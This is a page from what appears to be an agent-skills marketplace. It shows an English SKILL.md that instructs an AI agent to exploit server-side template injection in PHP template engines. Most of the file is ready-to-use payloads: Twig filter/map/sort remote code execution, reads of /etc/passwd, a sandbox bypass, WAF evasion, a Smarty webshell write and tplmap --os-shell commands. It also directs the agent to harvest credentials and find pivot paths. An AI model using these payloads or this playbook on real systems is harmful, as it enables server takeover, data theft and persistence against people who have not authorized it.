本文へ移動
cccskills
無料GitHub で公開

web-ssti-twig

You are helping a penetration tester exploit server-side template injection in a

インストール方法を見る

含まれるファイル(1)

  • SKILL.md8.4 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Twig / PHP SSTI

You are helping a penetration tester exploit server-side template injection in a PHP application. The target uses Twig (Symfony), Smarty, Blade (Laravel), or Latte and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution or file access. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [ssti-twig] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Confirmed template expression evaluation: {{7*7}} returns 49
  • If {{7*'7'}} returns 49, the engine is Twig. If it returns 7777777, route to ssti-jinja2.
  • If {$smarty.version} returns a version number, the engine is Smarty.
  • If {var $X="POC"}{$X} works with single-brace syntax, check for Latte.

Step 1: Assess

If not already provided, determine:

  1. Framework — Symfony, Laravel, CraftCMS, Grav, or custom
  2. Template engine — Twig, Smarty, Blade, Latte
  3. Engine version — critical for payload selection (Twig < 1.20, 1.x, 2.x, 3.x)
  4. Injection point — URL param, form field, email template, PDF generation

Skip if context was already provided.

Step 2: Engine Identification

Twig (Symfony/CraftCMS/Grav)

{{7*7}}          # 49
{{7*'7'}}        # 49 (arithmetic, not string repetition = Twig, not Jinja2)
{{dump(app)}}    # Dumps the application object (Symfony)
{{dump(_context)}}  # Dumps all template variables
{{app.request.server.all|join(',')}}  # Server variables

Smarty

{$smarty.version}    # Version disclosure
{system('id')}       # Direct code execution (v3, deprecated in v5)
{php}echo `id`;{/php}  # Deprecated in v3

Blade (Laravel)

{{ 7*7 }}        # 49 (Blade uses {{ }} for escaped output)
{!! 7*7 !!}      # 49 (unescaped output)

Latte

{var $X="POC"}{$X}   # Variable assignment and output
{php system('id')}    # Direct code execution

Step 3: Information Extraction (Twig)

Application Info

{{_self}}                        # Reference to current template
{{_self.env}}                    # Twig environment object
{{app.request.server.all|join(',')}}  # All server variables
{{dump(_context)}}               # All template variables

File Reading

{{ '/etc/passwd'|file_excerpt(1,30) }}
{{ include("wp-config.php") }}
{{ source('/etc/passwd') }}

Step 4: RCE — Twig

filter() / map() / sort() / reduce() (Twig >= 2.x, 3.x)

These are the most reliable modern payloads:

{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ ['id',1]|sort('system')|join }}
{{ [0]|reduce('system','id') }}
{{ ['id']|filter('passthru') }}
{{ ['id']|map('passthru') }}

With space or special character bypass:

{{ ['cat\x20/etc/passwd']|filter('system') }}
{{ ['cat$IFS/etc/passwd']|filter('system') }}

registerUndefinedFilterCallback (Twig <= 1.19)

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("whoami") }}

call_user_func (Twig >= 1.41 / >= 2.10 / >= 3.0)

{{ {'id':'shell_exec'}|map('call_user_func')|join }}

Error suppression for automation

{{ ["error_reporting", "0"]|sort("ini_set") }}

Via Symfony request object

# Email parameter passing FILTER_VALIDATE_EMAIL:
"{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
# With GET param: ?0=id

Step 5: Blind / Error-Based SSTI (Twig)

Error-Based RCE (<= 1.19)

{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{%include ["Y:/A:/", _self.env.getFilter("id")]|join%}

Error-Based RCE (>= 1.41 / >= 2.10 / >= 3.0)

{{ [0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join) }}

Boolean-Based RCE (<= 1.19)

{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{{ 1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString") }}

Boolean-Based RCE (>= 1.41 / >= 2.10 / >= 3.0)

{{ 1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString") }}

Sandbox bypass via CVE-2022-23614

{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

Step 6: RCE — Other PHP Engines

Smarty (< v5)

{system('id')}
{system('cat /etc/passwd')}

Smarty v3 with {php} tag (deprecated):

{php}echo `id`;{/php}

Write webshell (if write access):

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Blade (Laravel)

Blade escapes output by default. Exploitation requires unescaped output context or framework-level misconfiguration:

{{ system('id') }}    # Only if developer disabled escaping

Latte

{php system('id')}

Step 7: Obfuscation / Filter Bypass (Twig)

String construction via block + charset

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

Using _context variable (requires double-rendering)

{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Filename injection via offset

FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

Smarty obfuscation (using cat modifier)

{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

Step 8: Escalate or Pivot

OPSEC Notes

  • SSTI payloads execute server-side — appear in application logs and error logs
  • system() / exec() / passthru() create process artifacts
  • Twig filter('system') payloads are short and less likely to trigger WAF
  • Smarty {system()} is very obvious — prefer Twig-style if both are available
  • Cleanup: no persistent artifacts unless you wrote files (webshell, config)

Troubleshooting

filter('system') Returns Empty

  • PHP disable_functions in php.ini may block system(), exec(), passthru()
  • Try alternatives: shell_exec, popen, proc_open
  • Check: {{ ['phpinfo()']|filter('assert') }} to see disabled functions
  • Try {{ ['cat /etc/passwd']|filter('system') }} vs {{ ['id']|map('passthru') }}

registerUndefinedFilterCallback Not Available

  • Only works in Twig <= 1.19 — check version with {{ constant('Twig\\Environment::VERSION') }}
  • For Twig 2.x/3.x, use filter(), map(), sort(), or reduce()

Twig Sandbox Enabled

  • Sandbox restricts available filters, functions, and methods
  • Check for CVE-2022-23614 (sandbox bypass via sort)
  • Try {{ dump(_context) }} to see what's available in the sandbox
  • Try accessing _self.env — some sandbox configs don't restrict it

WAF Blocking Payloads

  • Use hex escapes: \x20 for space, \x2f for /
  • Use $IFS as shell space substitute in commands
  • Twig map payloads are typically shorter and less flagged than filter
  • Try splitting payload across multiple parameters

Automated Tools

# SSTImap
python3 sstimap.py -u 'https://TARGET/page?name=test' -s

# tplmap
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell

# TInjA
tinja url -u "https://TARGET/page?name=test"

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

You are helping a penetration tester exploit misconfigured Active Directory

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

You are helping a penetration tester enumerate an Active Directory domain and

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

You are helping a penetration tester establish persistent access in Active

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

You are helping a penetration tester exploit ADCS through template/CA access

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

You are helping a penetration tester establish persistence through AD CS

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

You are helping a penetration tester exploit misconfigured AD CS certificate

日本語の概要は準備中です。原文の説明を表示しています。

ajtazer/heckit22026年10月7日 更新

ajtazer のスキルをすべて見る

このスキルの問題を報告する